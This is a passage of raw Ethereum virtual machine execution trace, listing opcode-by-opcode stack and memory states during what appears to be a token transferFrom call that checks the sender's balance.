4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7488,"op":"PUSH1","gas":90934,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7490,"op":"SHL","gas":90931,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7491,"op":"SUB","gas":90928,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x10000000000000000000000000000000000000000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7492,"op":"DUP3","gas":90925,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7493,"op":"AND","gas":90922,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7494,"op":"PUSH2","gas":90919,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7497,"op":"JUMPI","gas":90916,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1d9d"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7581,"op":"JUMPDEST","gas":90906,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7582,"op":"PUSH1","gas":90905,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7584,"op":"PUSH1","gas":90902,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7586,"op":"PUSH1","gas":90899,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7588,"op":"SHL","gas":90896,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x1","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7589,"op":"SUB","gas":90893,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x1","0x10000000000000000000000000000000000000000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7590,"op":"DUP4","gas":90890,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7591,"op":"AND","gas":90887,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xffffffffffffffffffffffffffffffffffffffff","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7592,"op":"PUSH1","gas":90884,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7594,"op":"SWAP1","gas":90881,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7595,"op":"DUP2","gas":90878,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7596,"op":"MSTORE","gas":90875,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7597,"op":"PUSH1","gas":90872,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7599,"op":"DUP2","gas":90869,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7600,"op":"SWAP1","gas":90866,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x20","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7601,"op":"MSTORE","gas":90863,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x0","0x20"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","310eea58e8b75973cbe4f30aaf417450dd75654e7fac0b140bf8383a60d48614","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7602,"op":"PUSH1","gas":90860,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7604,"op":"SWAP1","gas":90857,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x40"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7605,"op":"KECCAK256","gas":90854,"gasCost":42,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x40","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7606,"op":"SLOAD","gas":90812,"gasCost":2100,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x54f341bb1ed6c6db7315594b3a7320d59148ac72b98b3b77b9b86668193da6cc"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7607,"op":"DUP2","gas":88712,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7608,"op":"DUP2","gas":88709,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7609,"op":"LT","gas":88706,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7610,"op":"ISZERO","gas":88703,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7611,"op":"PUSH2","gas":88700,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7614,"op":"JUMPI","gas":88697,"gasCost":10,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1","0x1e2c"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7724,"op":"JUMPDEST","gas":88687,"gasCost":1,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7725,"op":"PUSH1","gas":88686,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7727,"op":"PUSH1","gas":88683,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7729,"op":"PUSH1","gas":88680,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1","0x1"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7731,"op":"SHL","gas":88677,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1","0x1","0xa0"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7732,"op":"SUB","gas":88674,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0x1","0x10000000000000000000000000000000000000000"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7733,"op":"DUP1","gas":88671,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7734,"op":"DUP6","gas":88668,"gasCost":3,"depth":2,"stack":["0x23b872dd","0x30b","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc86","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x10f0cf064dd59200000","0xffffffffffffffffffffffffffffffffffffffff","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7735,"op":"AND","gas":88665,"ga